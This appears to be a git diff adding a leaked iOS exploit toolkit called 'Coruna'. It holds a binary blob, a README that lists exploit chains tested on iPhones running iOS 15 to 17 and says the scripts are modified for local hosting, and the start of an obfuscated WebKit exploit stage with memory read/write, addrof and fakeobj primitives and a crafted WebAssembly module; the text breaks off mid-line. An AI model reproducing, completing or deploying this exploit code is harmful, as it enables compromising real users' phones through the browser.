zupOK7`{LtBs`=nyKoQ<&-i9(8U7=cG>*_*Vrn!5*eg$#azvD%4Z%{iTtXW)7A$<^6_S;g~z^8qzeF5&Z{gdoanM<*}#iaXJxuY^_K;=a$HJ zud{UL5TB1lxWNjaT{hZid)7-BAcFA2ph+*`MP|dX51`8R zT}|ooQK&y3z9iil$QkD?BQF?iwy>F}X27${2=iY$5Cx z_65Lx##;{aQ)BF*ySenhzQRV>&|#wh9d*~KmgC09I)Hl>*gD}sn}1I$zQ_9Sp6_Y7 zU{nVhG{U+m%@-iPbL`Z#qT@Y^pu|e|C@`s)t*EMkw+z&Os}t+7D|R>U*i%WukkQ(maiwZZ8Pg&{E$zpPYTRTf(`MtEa?F2 zGZDK`{O~{O={oF}_%L0B3jT$7T+u*353&pNa>KxkxtP(As`Ym#$p3Pd=QalH|F&;l zoSD#O74>%*`4co{Q>Z!35W&Qq*17ayY@jvXwyDr+I7~PR@;;gNPvU9iDzs%X7|5x zE@=+)eITtegSXwgeGOuU4J4`ym^FXUkbT8vPA?0Os=5Ck+LrF;$K#jGm2rM1Q8qdpN7mRn|C|l}jGYynBy=SEoN-(!vwi#Z%R_ zNut&Hz4Tp3)Dl$po`$15*qP7d6MN9BW0LD`3-CMv60b=@MdPvZe~Cl`Lz$Br>@`cJ z|DpTBtDB$xBwtq4>M}E6tyG9~KDsD1Qj@?8B;#+`D>n_q+_x_f2lS&8hl$^{{5jzh z_<|3ke*6~!^rz*DO6ZRNRE|U75`j>L%#Za~l5P>h;`e;_7`C!>poQ9>=mOF?RgGe< zs+lN?ANOkJcwIymP|5_fmBxBQOuSTFL>`uBB<}_D`6ASrkV~5@7sIW_j?-4n`ERUY z4=mV>cqbZl#;TdKjsTr2+j((G3F)z-gg-h-vF>(bT0TyFPzXT}AZT~wnSx1rlDr;j zON3-d!b4_!OZ(W?+%^MZ@E<7&g2Fm&v#||9YuQ8VLlVLxD+)EOXL+n$$tpMW$^JFw z!vx(NDQh30d?nhc`O36zBcVA@Xgrm_8rCG`w&{;Fv{8^@Uj{>{@4{<;*~Cl?!997% z+p-;jGF`?EbPbU@Es}G^QLZGSnf>#Ch0^e*GxgpVeT^z!$2_Oa5HdQy&L;0Cx#XT* za)XJB9F4`s($mDae(0gu{=T%y!IGDpGP>P};_bWLfm$+Sik1%lw7n#V7q-I#!#cuM zPW{>cD~osZj8RM>z0u=IvE7=bL%z?g!$V#+Ih5o3muv2l&vAL}Ub&hluR2_ySNmI; z`E^(;4uuIk31g6^QTUUKViag!99`0Z)Z(^)H7ch0{T4)*B^t`-eH2{7paO-~(`1$9 zlm)%EedSU@a2D-xtrd}rtDS&+2DFKI`qilY@E?) z<=O$4l9k#7hexkMyF{foBIcvrj?4Y`ix{;6q!GcCcfIvQb;_QgEr-V z!Pc{>)*>P`P9h~+r=PiqZ4qQmSkxTFS=X^h<+XwSj1z|Vm=`#OnV)wQ!@BGox$Ew= z)n!L=e((rb<2f~V?9NH?BXR4W*(`>6566JuwVRH#eZZ%HA+Cw{tWf_$3SCO9c`G0{ zM^>UcQ0g+6Wuq{abRIkLlV@fp3s5q^uF^l(7xA*=l=*QY`>rIguz>brdvwlujcTzD zakw5xe4t5FT={}}wxmbfC`Y9gHgHceobln;W+8OU=6*?=VRbR0H*L=@4kH)SuYda$ z!|R%dP^V^d!7Y$2K7}^*hVtzuxORX&XSgzR3#|C>%N9t4@wj`FN4?qa6BACI+P?}I z`ANcTSFU-VKVn_iIm#(nXIh3C?KwVY8_=gI8turGmrveoCgm(}K z92>T}UrkAPj*NvVd3QuHy!rt$FL6wJjt|N02E{+%s8} z8KBu{srdpnnzj7)fGpfnS2_2_dS=eD3;>%|O_IM#}IP{{ag_i+sX9nnp(NgkW+jgK! z9}X9ka(mIuet^;2`5v`rk`ab98fd&MpPl{wZ4;9$>*O}wsd^dU4KPU1THpGusHb-1 ze+iR>Qct%{t)(jdKwKz|#m}2A&*t+aiyjr~(kL6%UJ@A0C2A zm8URNabh-h0pEMmr%sCX&JkGQR*CJU`hA*u$I{SAurikU!_HrkqfyDF%}nVvC+K~9 zDT4-76xFqw+S$b!$3!YdE=Q~#51#D9C|*?t-1PJwN@hE>^7(s}bz95@ysAq5KlnU0 z6O|m9-8DnBWuJY^?H5nO#QX^V_PJ7~4gJ;TQY))m5iO`*uXHxFk|vRM;>=js$! zn}wWdg8Bn&;!00WqTPA@PXi4=bX_b?zL%9CT=aJPEIkRZsJ!&IeS&pm!H6!@uqfrn zc3ZpzEEp8J+T4}E1np-U_Dh)({!!oFLX7(> zG-l5;I8meoURaWF1NUzsuHwe^a;b^C$?8U>iQEjq8(<6kOg>~21mpoR67CiSF-}VQ zp@C;9JBr9oGd-ZqM=1x2SU25=hwGTZLj9gU&E8hw;yS`+_8Z_>76eIfjFN}sLC0Zx zE(?zp=fY6JQ&P+=sEvRKJ%4Lr{&t*VKe9W%jB%+o8>feXH}s6YYO!9U+Sr13hHJvb zack%1=|ITgn3%SHJ;*Kwbn)$o83dczG?)l~F@pI48q+{253{HtN>WDI7%?GT2*$VK z6=9sHhYPxAK5iDl@pbEDC>se$^q{wB2OnU!rx{HNDOf1>-zB{8CFsURB~%VTnzSHl zF0O|ZOQ={b8=55l{IHq(!#FT~kqA&}VUBuPF?3Z5wBiCe@64(4j!Ae|ML9aM)wIV)i9T>8Ec?E zaUhHFGGZc48Oy&TuGlW`cPQ~Gjj(#fq-D9Do!cd1D;8EJ^M^B|0qBlr*|d0LG`isc zfycSzI-_o3z(8x~_L$w1u~|&v@wKD0Lx3fNs&rO&X)Ich+5Fr*`{9A`5(kXgJWeU( z8gEV@p1eVeqtYO55_uqWs)D(n8++}D`?#7({4_N zP)ZOP<>c-sBSwQl?4C8#m1CAodW;S}kZ(fpf~X}j!s>iPn@w|x&UQn!1^=1#K1cKC zwO#~D;>K05e~&%!qu9;V28jTO?0Yx<-^SmgU5v1U8v>CLlFLE}NQyBRSwo+dQU~ZF z)vmFWN>mAYTXQLfFNXqW`okWgk7AHwJ$siUz<$(#u1kyWn$2k-FLjciH{3G)Yj4(X zc0;moBXmVSzj9u`C7RuflH@j_vLJYpGR{Zs8!j-w7^@|1)YJe;Yd?YzMRNXW-uhNH zSAxOT%EQmI+T4Qu0Q_CS^-lA#zhj=i(zQ#bH`33>2IZkY}Kn~MYcSvI{hBc9|d?h;%D?sYz>m^7x;r7lkBX)(KuaDqR}e#;JsDXOL3o%qO=6SNlaOJQU&KYnJp@4 zR#q#xkQ3ZLjkHUO=&nXy?>Y82$^2Fgv_yXZAFxhlc6bY)gX?z9Ks--pC_Nj7%{2Zo z3|OeZ$>8T?k)YLLDKv8%V=JM|?`%7Imv=v5j$c6KQQT&Q7H&(tTPQsdvIJ&&AUh}o zx=r}@!Jk!ODIE6DYEROiR!FqNIOK|ga^bFV-rDc~ z&k=1f<>p-HAn`y7Xj>6vXFeS{)7)$&

k+9PTR^kNvnh9`Z zilS}pVuM8EvtaSt1RqzRj4LZ5*e=3O`QTI_f2yGq_wE#%W>Mt#xecaSs=f1*xhm$4 z>U1UUCg>hk_Q}pv2p(#X;O6?CfI5cWieQalY7V9rzLx<+Z|)4opd0^0E*r2&dOY6sSzcn##iIHK**?w08i@d^Ug> z_{;Xd;g;edIbYHHxpuwL8l-JMqA>LgDQ31cP^+6qLf-^itQjnkBV)r$iq;5S1%92T zfAVL$uZ=2K(80@8{3JhOuLl6#5*b?&ww~?u7uDF{2DUam+IGf~?NjL#?v0W6GW_=& zH_R$JG03RRcaDN?fAo7qv3S`MC)~>1;(PZVgL0oTCtXQpb7+m8hu&Sc6#yNH^_X#E z2)TZDnHg-wD4Fa`84DiJMz4eCZExs@u7SW&LNYMsX3c|+bv2MI7na>jn(-c(`YR5y z!Tm|VV2m_kj)4SS$NBq^P|O=0G>^D6PH9BZvS(QOk#sBA6|8Qsx{`R^#y)WC=(aX< zkk6I)KqHPH9~Ji`#PqI{JzYfD`iD%QMfNp@e5y49*wWJw)~0LR68SUm<|t|-RFU&yA%u!A=_qRG=TkknAt^VY}|cAfSy{<-MK7m#YAV*vP)m8Z2Pl z<6?bSc72F;J!tBG+@roxooL?(haS?2u7(^C>i6{F)@4->_e~!^Oe;PQ7u8mhz08`; zz7krJryjf9Ef6jG5T7Kfz-As;aG(7gurQ=#6Msp1t*^(J&=<3Y$xWhD7IivQ9A$@t z6O<<1-qGY#e_QA#;SCq#JNwq?A6&*DiAycQEr!jp(~oBjKN_FgY8uS#h*{KMv2WtJqO<_KIhP7zR}_{eM@k&RIV0flbC19@|5RDv8HS5N2hits0IPB(lYqNc4impCW*)1$1nCcm>Fo|#ODoW`Bhz$3@4c=ln#s!cS&c;^3Cwk z9#}Pz9I#Mc9Up|%CtYO?4bztIKOXxg7AdS{RDLVfODk~|mi^Z^Q6xx_qD`R3CO*Q6 z4TzXFlVH>eW^MXt={T9ww%2K8*9j#|b(@oIi;v?zM! zDI-~!C*lE{cJKQ395irXu8TE3&!WH#+Cnh zktX~BFQMsWmdhPcG*_h$;CBVY=S*f~foz=trQk-KkAHfQFB~|SD%=U_)wG=L9Q$Mqoe#Fr>`&f@5Ooe} z7;FUxE6hjhafbjcEbP1%P`oFH9P;SH1Qln6CK1aoN@X9B@zC15%)s_#)Myd}I`fha z&QoxU_R&}6ZnFF~R<3WsS7BoUI&k#AJFc3^ZJ>x+&Y4vlp#rQqOQ>lUh^V zPz_??QMj{h+`m03SJAepOG%=4%#@gM^^XE@T596ZD1Hrac2e6o8!k!gYM2UX2@ z%k13V} zUux{CE=>{xsUr`>-E;#RNm5EvpdP_7B~@D!I#A(_f%3!lKM|#P*z~z+HCXXIrBD%MqBrj#hkGCp`T6+%Q;=^QXpX`OZM`X4z<{avQH=Sjt$6QizMFxv@`YKT(2*JT-Hz z4XE(jt@os8`o~8@TOgppfiPL#6)tj7o)q&9G&k-EiU6|gOVu?yj8a+PY1{If6PD~0 zE$Tp-j_b+fSL$7?-E<<}W{ISldc-Zj4tcUk$$P(+0Nol&SWzxdX8LkKfO)?PT!R^2`tnq$j`MfNj7c5k)PIqJIZIXoqnmSW#S9a zotL~d*=;$aYRR#mJ@ia}c8{0Av$sRJQJ&}o5vVn%svw$mA}MC{ znpIsx$r`+lttZRW{C1Y@!w|C!!Au9_OrP+mGY{^h1Iz~p0ma4V+up!bfr6g;`!FR_ z4!`4jNCD%fq7|uWq9-HL{*D5oyr6mb@XVE@NeOd3&ozZTec5Fbp~d*Y9O0BVx*`FE zzNZ4Ovr33nENzL4v2LJ~vbAi3eD=CLhfH}n?#c(rMMa%^pLw5K>l~H%M>2lKd#j3O zW6w+WRo&Vb9PK$6UOBR;f8+?4X`aOViKp60d?$O-8>4(!1b(ofO;C%Uk}f|KfR_b} z1wG{Q`oy!zv&4J0TMBm2u3)@xq`}*94|E8QycFS{ut2f$TZSqg2;Y3n^co`(gOS#$ zXrQU~$03M7A5guWDu9zw!BBM%EJ-}Dk6xYa@E&e(p1&mti2M5td3k2Ic5cM ztn8*JDGNU>#JJ84hY%-!QnYM>%v2PgnAp$X5Tjm4%lAeIkubtk;RMrl#Z<7{XQu(mM_8A*hrlp!<;F(AN0qJs-$uDB0}@O5DT9dv%)#?@ z_PvGOpZ<1RzZH~XW#?>N*X67y&UmHRebvXEXnudKSUHVt4+jk9vYT9aBBvR|p2A44 zKdMT_j70K>X)20`Amf;;{L0W(Rq#wo1W8KKI$Gw|3Z5%%V3G8UpN|Y4&+8Y5gHCLj zs2CY2g7ZAnbd$pBg7T+u1^i@8HN94!K)p?Ap>2u-GbHK8N-}xHK#q)lmLJVf1GBo8 zjF49d+cI}>VIDc@|i?eU8>&mhG+fTxrjlGIJ=7#;wX$)o_ja? z8{^0m3*`EW^n;ZcBn0$#WTc6(V9^iqIOofPZuJSDL&{%QaBnm3lrUPHe^BScl~)8K zY2c4-OEDWSC`;$rV@h`~YPihGR?`4g@Nm}j5CP6q!j26}e6dy-66qXIoUaS0#N0@Q ziURPp;6TC**wsub5GJM#!mTuU5~d{-3}}5xdy+k4OYkB7djYcHp_0i>-;Nx7(+`Bj zKheZPmNH}+=FUt-H6y2bi`gt<;LWHmhb{Y;+73P@n9Pw&ujg_C6D=n8MFeV%%Ny_8 z_Z1`&8V=Mu+hJp$TdYoj#8zkAuP$=v`B!XjNW95vTDv&p;ok=GMMd2ni++V`*IsQ} zfV5=7r`>&Oi94WAOyO+$-%)QFhVSbS4EFTkviWUfOV4ubnO6A~cGFFar3Ln=WkDWS z+Y;yZ!BHXe;aSC^>i)OoHre!AAP+8pR!7J&1bt-E2v~w?HY#t?$8N|-tg7-XnmhPF zTsrCkCqrDInc+#o4p~VyFDBd!=O_sFw8b_}*2{w%navj@1mY_s*-2(jCd1_l5E3UN%#r@-chLW^WQ(jFr+WKVW6t zvn;UrAnF31zaI)7y^?`VL8G@&NrW{a`~(|JCR*9fr#o#&=HL!^$-6l%w7|DNWhwer z#dYS_yNd6h^!#nHWMh{gUm*fST9*&8Zw92dtCtMpAhW4v`ZWzVAS~oKb4gE6eJ$8|)fKCg9E= zTS5LIBUcRCOEkU)y)#)GARwom zOp6wi!mJ_i2?)O0$c0)N{hygrtWh|X3z$zf{Wr$g2B9%GUEUt`W$+#pv|%U8J8nJx zad-fy_n9ZKNiusgl{uhbE~NHdl}ZWaq6d@{us7m}oxw1s<+!5ZDwwoh&3l_Bh!+x!6m^AeV>KYw@_Bes7e&PAoC;GW?pySV&TOKi_04t`;8=w4|v zLa$jTNrSY4qaTPZjPB1Ygb9-(@Mc$`{fFjS2IBH@{ufKFg!>`XWO5zgKqS2-a_R6? z#-shU&cAZ<9|0@((yFDOf|S*fxj}ILhdy23WP1}ePKNT}AegUZ)4RFaa20?%15w$M zS_RXaZMbAGL0I8N8<6M`$cAaEywXm6qq`A`4Eqgk6OK@K$h}$sMl#z; zfJstUPZZUTv>Bn7KnS=(HT&BPd zhn${m4Hgfh40EI=OQJ%il-s@ECF7Ld)2ZkqVI44AD-O`ZBf4{ybmA+7LF#H(p0TgS zgfXo~7(xs>z?Al;(35zK?|ZBss;?a`W7Ef1y@To6TrdF`szZ2JvlV8KcY>U!@Meaq z_@b=%E)n`m;rT||S({K#VBl7fP7#h2!NF_l#*p|7^`)w9NA4DqGFJO%2)(ATrjo8+ z?8nMgaLps@ojrC4C?%fxeJpV70u%3g^TX0`4*!Ej5jn-C5g+!Gaz96L5{gI_-ib^M z5f9;4`n}&Fqxe|H@|!bdCyqY~%BwehN~XI$vNRS*=5iO&;npAvum+A(P;5fT&R3>4 zt&sLf?-1DZ|A}LbEeu+6SnfY1sQsBprybV}dIp%o8MQs!Tznu^O%CHw)b}tZfx-)F z_@c<@vSB!3(kC2hvIHJUV)j12Ch~yk^2ASn&ybfK2RA@e9mK0|JV?C~7#)BEae_bY zC*^0cYNGuXAQ%i5t~-S54IfLQ7!?nHq0I*W8dl!BRHZcO)NSvQ5pSXGNQ18F(!52& z38Xh^$?T7R?D!Uz*%usXjyL{bmG~V#&!T)^jEu}=Pu&KcC>};rVrO}I|dK{En$`c&XRtl&*x{{&_`f4X27D%8YPK&LcyxP!}`-}9^@S% z2lw^nc8gX4Yqj*0Y}rEKqS#H{%#>EFb11jIq{a!<3`7Xn$p4VVob zL9u_%w(I0A*JSFD#^LFX?$$Gp1iL`XgcGQwdDkEVV;h8KM!i?5&cS*+C&^FP zcPX_LV*s{?VUstQq}d&ZI^$P%!S1-_GOCZ>@hPUZ?Z0k&!DMiZ=TnCn9dI}Z!q66VG;*#JB1O<|GTO>jiM)4$U7ClL887FOK88hRtG-se{cvh zDBhQpM6|`}2H~1>Nbc)hKt+?07!(v^X&H6S6GNe-8%71P2(Ozk*8Bbbrn<S^94UNnHF24WVU|v#vVupKNQo<*BZs0fSZ#gD>I^nVtMA;`DJ?FQN zdDRYR2WPrea4~FFq>p{jRS2H0kbsnFtJ&bHY6%h9P8Z}&O;FP5e- zR!-$wy@UTuQVTp9V3!B?bL5}%1} zpf8*N=}gq%u=UQ$tqzphA?!D(OWRV5<@dyV@_mjvEc3RcEJ<;AdNbG0P zKQ2HPfo;ma!qM94O3w2}z1N?(;cNS~qA?)O>W=wcJN_w1xSvY2u#zEn4pBnOtS>La z(0L1hR^Yb9NeL)pbBiw8rRealW{uDs>8<+&F+cKy(8b|&fD>T^yH+5+WWId`VctT* z(fqU5V7|9cU_R*_U5LRB30D`GV9uRXS4tIOX*za>@nX<^na*@IO;5!JqER3j1#Da9 zBmPdHoXaX^M=&l+YEj`=M`!402w9`>$OCjVu+)ZyTkcRwUI8shTJMH{yVnr|5(FxC znT3`DA!rogPL=O(ru)L%shSVu&-0-jKdm6S^6by5EO2xRrQKLyy2cI473`^$+{=_r zyhfZDt%+ukBk<=qIwjA?bkZ!ULUl+*!;ySD%WFJfRlHOA7A*AD!|G#-FDNABf-FGc zYceUkdQE$>#AA^=k>&%#;E^%Q{M`W<*BOU1IgMNewav>E$jcf=)975;Z_F|NpZ+4< zNvg9{`8PUg&&Nxy=<03VVAKnInJ6_yO5%4POV-j0%fmMlB+bW=$!P6jPYRH3ztOMlmNdU-sZa^)5jD>mU6*$9n1`sn zP-6293B%^9J-5SsRZW5or+Sjf4iLQMlAel%I0 z%~P;*zk0WeF&D9(=~PogXUJ5H+4eVftg#A8okXbuVj2-wqPmm1XH2E*5=wUOEYU+D zQF1&>qR{d0?*_%A08k#y~9GG&r^qRn#7qZUQ3_ z&!`i(*g7wzk@I9w$c*!+&6TUVQl3O@$dXwXaQ`g^lZi6kYo;*aN7fv$Ex1Ov(WEXR z8wdVW+UV5S$*b9?@T3e?k}5HwKL9gVUGFa|>8bC!K!K+~$DyK>WVC2ek}

    7P$VvkjtITWk&{y1QXI8Haz3PW+#w{)ZK=Jn5|;dA zp)OVwq+~sgK@gd(mLf1rnfzM(Cz6qnXXFLpF3B!LF*ps=g*=fQ1O>n-jxUc>nxFxL z88p%k-`a97epS~Dy$|TtBh$NR2ZoogSFTBXhG6nT(jt_0|Hry(wXUq=ZDjQvKc_+b z`K{RY1q!_jRlYw{ic-hI@#H>ngs@>Ragfmr>y<}cFJ$JjO*U1t0sdKp1I=@m*U>kt zCj4`}4bnM8UK)NSS?RQdUBcHEz8gRHbV4c02j_v+2-{`UDnnr=J}47t90pOo*+fep zh5!C!BSp~BM$C-c5}1%H%ROxKam&SJnD!LDuavfjx{F;c0_?i?&aCvDnGzU1Wd}D? zxVFMR%x76!vfNRj?9^T)@pCdX0lltLK0{#S!IyY-a-o>lwdcbnT-Td11ek`Y(N#gB zSuiIMo)dfUxhXglGXf3sw;O8ni| ztYr3Y^87!{Fpt>c8jKd{!&q3Ex!sPcd|jb~FhPk?B=XzItd_FNT*EUq1seZ?Z-sY& zu3pDfSEN4Df3=Iky6-Ky)szR}ofdb%sishh8WE7+##|wwRbI-fV~F6wTZuMFk+X&} zUAdB)%;tLXYiO;T)U{b;#8#i%7zsE9_wghI8}yPD=?E9zmdEs_GtL*_^{y)b8e|_p z$5LkV50G>(03Z3Tq4an;+}TheH+V)=%BB%_e3ny@qCxs(UR{%6#WOdFNwd}u^Mn*X z7nkzS1A7Zgj&GQ1e(4`9!kiwcNrBcaapH}unj_-L|>QFXh(^(f{^GR|1{g9vt&@E^=w%vifNNPqz`yMMkAd1(g z9(+vId8gFIuRvYJbVhQZG{#-nyXHZ^4XZJY?pd*R4f^5M|9$#m#piU?7fU6~kioQU zg0z{~upsqOlcnoVNY+V3Xiz-fNd{}%>OQ4^5*0?sQz{p=Fy&wLcs-lpiNF+lzggOU ztpRJqiz|I5(!xRwj^}r%v~GD>#jBF4I`_yeyFNo^Z7}Y>r)@Utw}*<85%Z$(HCjMU zWyuF$t8k~(Eo;S}W0u<+t47H6m@J|np!%?3q3QuNReby#h(t>RDdd$NW;8yB|A7p(OHA6fIb$ePaZb_7S3?V!$N$KW)w z)&9Ub1GDEIu1vOJJHZArEXcR7;ywc{tXQiII>?d}(JfsHb&YBH^U(%fAk1mTB-k6w z$JZCM^y2!RfHGQg!e_lvF!P*mtLhL>LQ~L6d5i5aFl0>l2Aitf()p!zg-CaoB`yj& zi}i_3_9u8IUDdfUD(f;owYhj_Mh$rO<0IbNv{vF67>5K+@5w=Tie|Y%#~m)CE|tKE zbZ@sY2uesli$;8bei;<_kC6-GJx%o4-aS#FsM_+SYUps-J7tz#HM)QS} literal 0 HcmV?d00001 diff --git a/README.md b/README.md new file mode 100644 index 0000000..daa0738 --- /dev/null +++ b/README.md @@ -0,0 +1,14 @@ +# Coruna + +The leaked exploit toolkit. Partially deobfuscated by Claude (thanks @34306) and by hand. + +These scripts are modified in a way that allows you to host them locally. + +Note that the script names may be incorrect and only includes exploit chains for tested devices. + +## Tested on +| Device| Version | Exploit chain | +| :--- | --- | --- | +| iPhone 6s+ | 15.4.1 | jacurutu -> VariantB? -> ? | +| iPhone Xs Max | 16.5 | terrorbird -> seedbell -> VariantB -> ? | +| iPhone 15 Pro Max | 17.0 | cassowary -> seedbell_pre -> seedbell_17 -> VariantB -> ? | \ No newline at end of file diff --git a/Stage1_15.2_15.5_jacurutu.js b/Stage1_15.2_15.5_jacurutu.js new file mode 100644 index 0000000..2004f74 --- /dev/null +++ b/Stage1_15.2_15.5_jacurutu.js @@ -0,0 +1,504 @@ +let r = {}; +const utilityModule = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"), + { + N: G, + Vt: m, + v: o + } = utilityModule, + platformModule = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0"); +class E { + busyWait(A, t, Q = 0) { + let e = ""; + for (let s = 0; s < t; s += 8) { + const t = this.read32(A + s + Q), + n = this.read32(A + s + Q + 4); + e += G(A + s) + "(" + G(s) + "): " + (i = t, r = n, "0x" + r.toString(16) + "00000000" + i.toString(16).slice(-8)) + "\n"; + } + var i, r; + } + wr(A, t, Q) { + for (let e = 0; e < Q; e += 4) this.write32(A + e, t); + } + copyMemory32(A, t, Q) { + if (Q % 4 != 0) throw new Error("Q % 4 != 0"); + this.yr = !0; + for (let e = 0; e < Q; e += 4) this.write32(A.H(e).W(), this.read32(t.H(e).W())); + this.yr = !1; + } + read32FromInt64(A) { + this.yr = !0; + const t = this.read32(A.W()); + return this.yr = !1, t; + } + readInt64FromInt64(A) { + this.yr = !0; + const t = this.read32(A.W()), + Q = this.read32(A.H(4).W()); + return this.yr = !1, new utilityModule.Int64(t, Q); + } + mr(A) { + this.yr = !0; + const t = this.read32(A.W()), + Q = this.read32(A.H(4).W()); + return this.yr = !1, utilityModule.T(t, Q); + } + Ar(A) { + const t = A.it % 4; + A = A.Bt(t), this.yr = !0; + const Q = this.read32(A.W()) >> 8 * t & (1299800684 ^ 1299800723); + return this.yr = !1, Q; + } + readStringFromInt64(A, t = 1714237818 ^ 1714237562) { + let Q = ""; + for (; Q.length < t;) { + const t = this.Ar(A.H(Q.length)); + if (0 === t) break; + Q += String.fromCharCode(t); + } + return Q; + } + Pr(A, t) { + let Q = ""; + for (; Q.length < t;) { + const t = this.Ar(A.H(Q.length)); + Q += String.fromCharCode(t); + } + return Q; + } + readByte(A) { + const t = A % 4; + let Q; + return Q = !0 === this.yr ? utilityModule.q(A, -t) : A - t, this.read32(Q) >> 8 * t & (1966290542 ^ 1966290577); + } + readRawBigInt(A) { + const t = this.read32(A), + Q = this.read32(A + 4); + if (Q > o) throw new Error("Q > o"); + return utilityModule.T(t, Q); + } + readDoubleAsPointer(A, t = !1) { + const Q = this.read32(A); + let e = this.read32(A + 4); + return (!0 === t || globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0").platformState.versionFlags.zohDDd) && (e &= o), utilityModule.T(Q, e); + } + readInt64FromOffset(A) { + const t = this.read32(A), + Q = this.read32(A + 4); + return new utilityModule.Int64(t, Q); + } + readString(A, t = 1597399620 ^ 1597399876) { + let Q = 2020291918 ^ 127191729; + [30, 5, 29, 18, 21, 2].map((x) => { + return String.fromCharCode(x ^ 112); + }).join("") == typeof t && (Q = t); + let e = ""; + for (; e.length < Q;) { + const t = this.readByte(A + e.length); + if (0 === t) break; + e += String.fromCharCode(t); + } + return e; + } + Nr(A, t) { + let Q = ""; + for (; Q.length < t;) { + const t = this.readByte(A + Q.length); + Q += String.fromCharCode(t); + } + return Q; + } + addrof(A) { + this._r.a = A; + const t = this.readRawBigInt(this.Wr); + return this._r.a = null, t; + } + pr(A) { + const t = new DataView(new ArrayBuffer(A.length + 1)); + utilityModule.D(t); + for (let Q = 0; Q < A.length; Q++) t.setUint8(Q, A.charCodeAt(Q)); + return this.fakeobj(t); + } + allocControlledBuffer(A, t = !1) { + const Q = new ArrayBuffer(A), + e = new Uint8Array(Q); + utilityModule.D(Q); + const i = this.addrof(e), + r = this.readDoubleAsPointer(i + globalThis.moduleManager.getModuleByName([71, 66, 64, 64, 79, 21, 23, 69, 20, 71, 67, 71, 79, 20, 23, 68, 23, 78, 16, 66, 70, 20, 19, 68, 78, 65, 16, 64, 66, 64, 18, 66, 18, 65, 67, 79, 69, 19, 20, 70].map((x) => { + return String.fromCharCode(x ^ 118); + }).join("")).platformState.versionFlags.oGn3OG); + if (!0 === t) { + const A = this.addrof(Q), + t = this.readDoubleAsPointer(A + globalThis.moduleManager.getModuleByName([72, 77, 79, 79, 64, 26, 24, 74, 27, 72, 76, 72, 64, 27, 24, 75, 24, 65, 31, 77, 73, 27, 28, 75, 65, 78, 31, 79, 77, 79, 29, 77, 29, 78, 76, 64, 74, 28, 27, 73].map((x) => { + return String.fromCharCode(x ^ 121); + }).join("")).platformState.versionFlags.CN3rr_); + let e = this.read32(t + globalThis.moduleManager.getModuleByName([0, 5, 7, 7, 8, 82, 80, 2, 83, 0, 4, 0, 8, 83, 80, 3, 80, 9, 87, 5, 1, 83, 84, 3, 9, 6, 87, 7, 5, 7, 85, 5, 85, 6, 4, 8, 2, 84, 83, 1].map((x) => { + return String.fromCharCode(x ^ 49); + }).join("")).platformState.versionFlags.EMDU4o); + e += 32, this.write32(t + globalThis.moduleManager.getModuleByName([125, 120, 122, 122, 117, 47, 45, 127, 46, 125, 121, 125, 117, 46, 45, 126, 45, 116, 42, 120, 124, 46, 41, 126, 116, 123, 42, 122, 120, 122, 40, 120, 40, 123, 121, 117, 127, 41, 46, 124].map((x) => { + return String.fromCharCode(x ^ 76); + }).join("")).platformState.versionFlags.EMDU4o, e); + } + return r; + } + fakeobj(A, t = !1) { + A instanceof ArrayBuffer && (A = new Int8Array(A)); + const Q = this.addrof(A); + return this.readDoubleAsPointer(Q + globalThis.moduleManager.getModuleByName([84, 81, 83, 83, 92, 6, 4, 86, 7, 84, 80, 84, 92, 7, 4, 87, 4, 93, 3, 81, 85, 7, 0, 87, 93, 82, 3, 83, 81, 83, 1, 81, 1, 82, 80, 92, 86, 0, 7, 85].map((x) => { + return String.fromCharCode(x ^ 101); + }).join("")).platformState.versionFlags.oGn3OG, t); + } + withTempOverrides(A, ...t) { + const Q = new Array(t.length + 10); + for (let A = 0; A < t.length; A++) Q[A] = this.readInt64FromOffset(t[A].Ir); + try { + for (let A = 0; A < t.length; A++) this.writeInt64ToOffset(t[A].Ir, t[A].Zt); + A(); + } finally { + for (let A = 0; A < t.length; A++) this.writeInt64ToOffset(t[A].Ir, Q[A]); + } + } + constructor(A, t, Q, e) { + const i = new Uint8Array([0, 97, 946231116 ^ 946231103, 826626901 ^ 826626872, 1, 0, 0, 0, 1, 17, 4, 96, 0, 1, 1212428661 ^ 1212428553, 96, 1, 1400203094 ^ 1400203050, 0, 96, 0, 1, 1517901910 ^ 1517901865, 96, 1, 1480681551 ^ 1480681520, 0, 3, 5, 4, 0, 1, 2, 3, 4, 4, 1, 1161312360 ^ 1161312280, 0, 1, 6, 27, 3, 1447643496 ^ 1447643414, 1, 66, 961377581 ^ 961377694, 761947713 ^ 761947781, 1865960010 ^ 1865960078, 1096307566 ^ 1096307638, 11, 11, 2003579511 ^ 2003579400, 1, 65, 1148146745 ^ 1148146860, 910383415 ^ 910383514, 927873360 ^ 927873422, 1383223911 ^ 1383223971, 1597008438 ^ 1597008463, 11, 1163883309 ^ 1163883346, 1, 65, 1850833253 ^ 1850833366, 2034985570 ^ 2034985638, 1229419061 ^ 1229419249, 25, 11, 7, 17, 4, 1, 97, 0, 0, 1, 98, 0, 1, 1, 99, 0, 2, 1, 1364608368 ^ 1364608276, 0, 3, 10, 27, 4, 5, 0, 35, 0, 1517506402 ^ 1517506525, 11, 7, 0, 32, 0, 1162504248 ^ 1162504325, 36, 0, 11, 4, 0, 35, 1, 11, 6, 0, 32, 0, 36, 1, 11]).buffer, + r = new WebAssembly.Module(i, {}), + s = new WebAssembly.Instance(r, {}), + n = new WebAssembly.Instance(r, {}); + this.Vr = s, this.Cr = n, this.Kr = "a", this.Xr = "b", this.vr = "c", this.Hr = "d", this.$r = new ArrayBuffer(8), this.Gr = new Uint32Array(this.$r), this._r = { + a: !1 + }, this.Wr = 0, this.yr = !1; + for (let A = 0; A < 22; A++) this.Vr.exports[this.vr](0), this.Vr.exports[this.Hr](0, 0), this.Vr.exports[this.Kr](0), this.Vr.exports[this.Xr](0, 0); + const g = (t) => { + t[0] = 1; + const e = A(t); + return Q(e + globalThis.moduleManager.getModuleByName([97, 100, 102, 102, 105, 51, 49, 99, 50, 97, 101, 97, 105, 50, 49, 98, 49, 104, 54, 100, 96, 50, 53, 98, 104, 103, 54, 102, 100, 102, 52, 100, 52, 103, 101, 105, 99, 53, 50, 96].map((x) => { + return String.fromCharCode(x ^ 80); + }).join("")).platformState.versionFlags.zpy6Mu) + globalThis.moduleManager.getModuleByName([115, 118, 116, 116, 123, 33, 35, 113, 32, 115, 119, 115, 123, 32, 35, 112, 35, 122, 